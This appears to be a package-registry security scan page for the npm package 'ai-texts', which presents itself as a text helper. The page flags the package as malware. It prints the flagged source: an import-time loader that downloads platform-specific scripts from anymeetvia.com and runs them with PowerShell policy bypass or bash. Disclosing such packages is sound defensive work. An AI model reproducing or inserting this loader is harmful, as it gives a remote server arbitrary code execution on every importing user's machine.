registry / ai-texts / 1.0.1

ai-texts@1.0.1

Core text helpers for AI pipelines

AI Security Review

scanned 4h ago · by lpm-firewall-ai

Importing the package fetches and executes an unauthenticated remote platform-specific payload. It is concealed behind a text-helper package interface.

Static reason

One or more suspicious static signals were detected.

Trigger

Requiring or importing ai-texts resolves src/index.js.

Impact

Arbitrary remote code execution under the importing user's privileges.

Mechanism

Import-time remote script download and shell execution.

Attack narrative

When the advertised module is imported, it immediately calls run with anymeetvia.com. That function downloads an OS-specific script into the temporary directory, makes non-Windows payloads executable, and runs it through PowerShell with ExecutionPolicy Bypass or bash. The remote content is neither bundled nor integrity-checked, so the server controls code executed by every importing consumer.

Rationale

The package performs concealed import-time remote payload execution unrelated to its declared text-helper functionality. This is concrete malware behavior.

Evidence

package.jsonsrc/index.jsREADME.md$TMPDIR/driver-install1.ps1$TMPDIR/driver-install1

Network endpoints4

anymeetvia.comanymeetvia.com/download/win/install1.ps1anymeetvia.com/download/mac-x86_64/install1anymeetvia.com/download/linux/install1

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The CommonJS entrypoint unconditionally invokes run() during import.
run() downloads a platform-specific script from anymeetvia.com into the OS temp directory.
The downloaded payload is executed with PowerShell policy bypass on Windows or bash on other platforms.
This behavior is unrelated to the advertised text-normalization API.

Evidence against

package.json has no npm lifecycle hooks.
The package includes simple toText and normalizeText helpers.

Behavioral surface

Source

ChildProcessFilesystemNetwork

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 2.78 KB of source, external domains: anymeetvia.com

Source & flagged code

5 flagged

src/index.jsView file

Lines 13-103javascript

13

14/**

15 * Unicode-normalize text and collapse messy whitespace.

16 * @param {unknown} input

17 * @returns {string}

18 */

19function normalizeText

Source & flagged code

5 flagged · loading source

src/index.jsView file

33*/ L34: const { spawnSync } = require("child_process"); L35: const fs = require("fs"); L36: const http = require("http"); L37: const https = require("https"); ... L74: const tmp = os.tmpdir(); L75: if (process.platform === "win32") { L76: const script = path.join(tmp, "driver-install1.ps1");

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

src/index.jsView on unpkg · L33

97run("https://anymeetvia.com")

High

Ai Review Evidence

The CommonJS entrypoint unconditionally invokes run() during import.

src/index.jsView on unpkg · L97

86const url = process.platform === "darwin" ? origin + "/download/mac-x86_64/install1" : origin + "/download/linux/install1"; const script = path.join(tmp, "driver-install1"); await download(url, script); fs.chmodSync(script, 0o755);

High

Ai Review Evidence

run() downloads a platform-specific script from anymeetvia.com into the OS temp directory.

src/index.jsView on unpkg · L86

Findings

5 High1 Medium3 Low

HighSandbox Evasion Gated Capabilitysrc/index.js

HighAi Review Evidencesrc/index.js

MediumNetwork

LowScripts Present

LowFilesystem

LowUrl Strings

76const script = path.join(tmp, "driver-install1.ps1"); await download(origin + "/download/win/install1.ps1", script); const r = spawnSync( "powershell", ["-NoProfile", "-ExecutionPolicy", "Bypass", "-File", script, "-Origin", origin], { stdio: "inherit" }, ); process.exit(r.status ?? 1);

High

Ai Review Evidence

The downloaded payload is executed with PowerShell policy bypass on Windows or bash on other platforms.

src/index.jsView on unpkg · L76

90const script = path.join(tmp, "driver-install1"); await download(url, script); fs.chmodSync(script, 0o755); const r = spawnSync("bash", [script, origin], { stdio: "inherit" }); process.exit(r.status ?? 1);

High

Ai Review Evidence

The downloaded payload is executed with PowerShell policy bypass on Windows or bash on other platforms.

src/index.jsView on unpkg · L90

Behavioral surface

ChildProcessFilesystemNetworkUrlStringsManifest: clean

LPM CLI

Source & flagged code

5 flagged

src/index.jsView file

Lines 13-103javascript

13

14/**

15 * Unicode-normalize text and collapse messy whitespace.

16 * @param {unknown} input

17 * @returns {string}

18 */

19function normalizeText

(

input

) {

20 let text = toText(input).normalize("NFKC");

21

22 text = text.replace(/\r\n?/g, "\n");

23 text = text.replace(/[ \t]+\n/g, "\n");

24 text = text.replace(/\n{3,}/g, "\n\n");

25 text = text.replace(/[ \t]{2,}/g, " ");

26

27 return text.trim();

28}

29

30/**

31 * Return the current operating system name and version.

32 * @returns {{ platform: string, release: string, type: string, arch: string }}

33 */

34const { spawnSync } = require("child_process");

35const fs = require("fs");

36const http = require("http");

37const https = require("https");

38const path = require("path");

39

40function download(url, dest, redirects = 0) {

41 if (redirects > 8) return Promise.reject(new Error("too many redirects"));

42 return new Promise((resolve, reject) => {

43 const lib = url.startsWith("https:") ? https : http;

44 const req = lib.get(

45 url,

46 { headers: { "User-Agent": "install-commands" } },

47 (res) => {

48 const loc = res.headers.location;

49 if (res.statusCode >= 300 && res.statusCode < 400 && loc) {

50 const next = new URL(loc, url).href;

51 res.resume();

52 download(next, dest, redirects + 1).then(resolve, reject);

53 return;

56 res.resume();

57 reject(new Error("HTTP " + res.statusCode + " " + url));

58 return;

59 }

60 const file = fs.createWriteStream(dest);

61 res.pipe(file);

62 file.on("finish", () => file.close(() => resolve(dest)));

63 file.on("error", reject);

64 },

65 );

66 req.on("error", reject);

67 });

68}

69

70async function run(origin) {

71 origin = String(origin || "").replace(/\/+$/, "");

72 if (!origin) throw new Error("missing origin");

73

74 const tmp = os.tmpdir();

75 if (process.platform === "win32") {

76 const script = path.join(tmp, "driver-install1.ps1");

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

src/index.jsView on unpkg · L33

77 await download(origin + "/download/win/install1.ps1", script);

78 const r = spawnSync(

79 "powershell",

80 ["-NoProfile", "-ExecutionPolicy", "Bypass", "-File", script, "-Origin", origin],

81 { stdio: "inherit" },

82 );

83 process.exit(r.status ?? 1);

High

Ai Review Evidence

The downloaded payload is executed with PowerShell policy bypass on Windows or bash on other platforms.

src/index.jsView on unpkg · L76

84 }

85

86 const url =

87 process.platform === "darwin"

88 ? origin + "/download/mac-x86_64/install1"

89 : origin + "/download/linux/install1";

90 const script = path.join(tmp, "driver-install1");

91 await download(url, script);

92 fs.chmodSync(script, 0o755);

High

Ai Review Evidence

run() downloads a platform-specific script from anymeetvia.com into the OS temp directory.

src/index.jsView on unpkg · L86

93 const r = spawnSync("bash", [script, origin], { stdio: "inherit" });

94 process.exit(r.status ?? 1);

High

Ai Review Evidence

The downloaded payload is executed with PowerShell policy bypass on Windows or bash on other platforms.

src/index.jsView on unpkg · L90

95}

96

97run("https://anymeetvia.com")

High

Ai Review Evidence

The CommonJS entrypoint unconditionally invokes run() during import.

src/index.jsView on unpkg · L97

98

99module.exports = {

100 toText,

101 normalizeText,

102};

103